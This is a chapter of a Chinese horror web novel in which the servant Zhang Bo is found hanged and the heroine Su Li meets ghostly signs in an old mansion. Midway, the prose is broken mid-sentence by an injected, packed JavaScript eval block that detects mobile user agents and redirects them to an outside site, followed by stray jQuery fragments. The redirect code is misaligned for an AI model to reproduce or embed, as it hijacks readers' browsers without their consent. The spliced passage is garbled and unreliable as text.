张伯死了。


    吊死在那株老槐树下。


    苏璃赶到前院时，冰冷的晨雾尚未完全散尽。


    几个闻讯赶来住在附近做粗活的老仆役聚在不远处，交头接耳，脸上混杂着惊恐。


    他们远远地看着，没人敢上前。


    那棵老槐树粗壮的横枝上，一道僵直的身影无力地垂挂着。


    是张伯。


    他身上还穿着昨夜那件洗得发白的灰色粗布短褂，此刻却如同一个被丢弃的破旧人偶。


    脖颈以一个极其诡异的角度歪向一侧，一根粗糙的麻绳深深勒进皮肉里，留下触目惊心的紫黑色淤痕。


    他双脚离地，脚尖微微悬垂，沾满了泥泞的旧布鞋无声地诉说着最后的挣扎。


    双眼圆睁，浑浊的眼球几乎凸出眼眶，凝固着无边的惊骇和绝望，死死地、空洞地望着下方。


    青灰色脸庞扭曲变形，嘴巴微张，舌头僵直地吐出一小截舌尖，带着一种非人的狰狞。


    死状与她昨夜瞥见的那个惨白晃动的影子，几乎一模一样。


    一股寒气直冲头顶，苏璃僵住了。


    昨夜那一幕，不是幻觉？


    那吊在槐树下的惨白影子，就是张伯。


    或者说，是张伯临死前的……某种预兆？


    这，怎么可能？


    不会的，不应该啊，怎么会？


    苏璃死死捂住嘴，指甲深深掐进掌心，她强迫自己移开视线，不敢再看张伯那眼睛。


    那眼神，仿佛穿透了死亡的界限，带着无尽的怨毒和不甘，烙印在她的灵魂深处。


    很快，府衙的人来了。


    几个差役，脸上带着麻木和不耐烦。


    为首的是个留着络腮胡子、眼袋浮肿的班头，姓赵。


    他们草草勘查了现场，问了几个老仆役，得到的都是些语焉不详、充满忌讳的“没看见”、“不知道”、“半夜好像听见点动静，以为是风大”。


    赵班头叼着一根草茎，围着槐树转了两圈，目光扫过绳索的结扣，又蹲下看了看张伯僵直的脚和地面的痕迹，眉头紧锁，却也没多说什么。


    他例行公事般走到苏璃面前，语气还算客气，但眼神里透着例行公事的疏离：“苏大小姐，节哀。您是第一个……呃，芸豆那丫头叫唤之后，您就过来了？”


    苏璃脸色惨白，点了点头：“是。”


    “昨夜可有听到什么异响？或是发现张伯有什么异常？”赵班头问。


    异常？


    那吊在树下的惨白鬼影算不算？


    苏璃张了张嘴，最终还是把那句咽了回去。


    她能说什么？


    说她昨夜就看见了张伯吊死的样子？


    说那可能是索命的鬼魂？


    他们只会把她当成惊吓过度、胡言乱语的疯子。


    “没有，”她垂下眼帘：“昨夜风雨太大，我睡得不踏实，听到芸豆尖叫才出来……张伯他……他平时话很少，没什么异常。”她顿了顿，终究还是忍不住问了一句：“大人，他是……自杀吗？”


    赵班头瞥了一眼那明显是他杀不可能形成的绳结和地面的痕迹，又看了看张伯脸上那极度恐惧的表情，粗糙的手指捻着草茎，含糊道：“眼下瞧着……似乎是自寻短见。绳索常见，树下有蹬踏的痕迹，没发现外人闯入的迹象。”


    他顿了顿，带着一丝不易察觉的告诫，“大小姐，您身子弱，这老宅……又年头久了，难免有些不清净。您多保重，莫要多思多虑。”


    不清净。


    这三个字像冰锥一样刺进苏璃的心口。


    差役一走，那些躲在一旁的老仆役们看苏璃的眼神，彻底变了。


    “造孽啊……张老实多好一个人……”


    “谁说不是呢，怎么就……”


    “唉，这大小姐一来，先是莲池那边不清净，现在张伯又……”


    “嘘，小声点，别让听见，没听班头说‘不清净’吗？我看就是……”


    “快走快走，这地方不能待了……”


    细碎的议论声钻进苏璃的耳朵。


    她成了这所阴森老宅里最可怕的“不祥”本身，连带着张伯的死，也成了她带来的灾殃。


    苏璃只觉得前所未有的疲惫和冰冷。


    芸豆吓得小脸煞白，紧紧跟在她身后：


    “小……小姐……我……我怕……张伯他……”


    “芸豆，”苏璃打断她：“去外面守着，没我的吩咐，谁也不准进来。我想……静静。”


    芸豆飞快点头。


    然而，这寂静并未持续多久。


    张伯的死，仿佛一把钥匙，彻底打开了这座古老宅邸尘封的阴暗之门。


    一股看不见摸不着，却真实存在的、令人毛骨悚然的“东西”，开始在苏璃身边悄然活跃。


    桌上的铜镜，明明昨夜睡前她记得是扣在桌面上的，清晨醒来却发现镜面朝上，清晰地映着她苍白憔悴的脸。


    她皱了皱眉，只当是自己记错了，顺手又将镜子扣下。


    可是第二天，第三天……


    无论她睡前如何将镜面朝下摆放，清晨醒来，必定是镜面朝天，冰冷光滑的铜面正对着她的床铺，里面映着她沉睡的模样，带着一种说不出的诡异凝视感。


    接着是梳妆台上那支素银簪子。


    那是母亲留下的唯一一件遗物，她一直小心地放在一个打开的锦盒里。


    可接连几日，她发现簪子的位置总会莫名其妙地移动一点。


    有时是微微偏离了锦盒中心，有时是簪头朝向了另一个方向。绝非她或芸豆所为。


    更让她心惊的是夜深人静之时。


    万籁俱寂。


    整个老宅如同一个巨大的、冰冷的坟墓。


    就在这死一般的寂静里，苏璃躺在床铺上，总能听到……


    吱嘎……吱嘎……


    那是老旧地板被踩踏时发出的呻吟，就在她房门外那条连接东西厢房的走廊上。


    声音很轻，很慢，一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396776|184312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下，又一下……


    仿佛有什么沉重而僵硬的东西，正拖着步子，在门外来回踱步。


    脚步声走走停停，偶尔会停在她的门外，仿佛在隔门聆听里面的动静。


    那种被窥视的感觉，冰冷黏腻，如同毒蛇爬上脊背。


    苏璃屏住呼吸，全身的肌肉都绷紧了，心脏在死寂中狂跳，撞击着耳膜。


    她甚至不敢睁开眼，仿佛只要睁开眼，就能透过薄薄的门板，看到外面黑暗中一个扭曲的身影。


    “是谁？”


    有一次，她实在无法忍受，鼓起勇气对着门外低喝了一声。


    脚步声戛然而止。


    死寂。


    绝对的、令人窒息的死寂。


    门外什么都没有了，仿佛刚才的一切都是她在极度紧张下的幻听。


    但是她知道，那不是幻觉。


    那冰冷的恶意，缠绕在这间屋子周围，缠绕在她身上。


    这些异状，如同无形的鞭子，不断抽打着苏璃紧绷的神经。


    继母那边也很快收到了风声，派了个面生的婆子过来，态度倨傲冷淡，只丢下几道叠成三角状的黄纸符和一个装着“驱邪”药水的粗瓷瓶。


    “太太说了，大小姐身子骨弱，心思又重，怕是被邪祟侵扰了心神。这符是城西白云观求来的，压在枕下；这药水睡前饮一盏，安神辟邪。”


    婆子放下东西，眼神在苏璃苍白得脸上扫过，带着毫不掩饰的嫌恶，仿佛怕沾上什么不干净的东西：“老宅阴气重，大小姐还是少胡思乱想，安心静养为好。”说完，不等苏璃回应，便像避瘟疫一样匆匆走了。


    苏璃看着桌上那黄符和瓷瓶，嘴角扯出弧度。


    安心静养？


    驱邪？


    她们驱的，不过是怕被她牵连的“邪”罢了。


    午后，外面难得地透出一点天光，尽管依旧阴沉，却比连日的阴雨让人感觉舒服些。


    苏璃只想逃离屋内令人窒息的寂静和那些无处不在的冰凉注视。


    她挥退了想跟着的芸豆，独自一人，漫无目的地向后院的莲池走去。


    莲池位于老宅最深处，靠近坍塌的后墙。


    池子不算很大，但水很深，绿得发黑。


    常年无人打理，池面上覆盖着一层厚厚的、墨绿色的藻类和浮萍，边缘长满了半人高的芦苇和水草，在无风的日子里，也透着一股死气沉沉的阴郁。


    苏璃走到池边一块还算平整的青石旁，坐了下来。


    冰凉的石头透过单薄的衣料传递上来，让她纷乱的心绪稍稍冷静了一些。


    她望着眼前这潭沉寂的死水，试图放空自己，不去想吊死的张伯，不去想镜中的窥视，不去想夜半的脚步声……


    她的目光无意识地落在水面上，落在自己模糊的倒影上。


    水中的影子随着水波微微扭曲晃动，脸色苍白，眉眼间带着浓重的化不开的疲惫和惊悸。


    忽然。


    水中的倒影晃动了一下。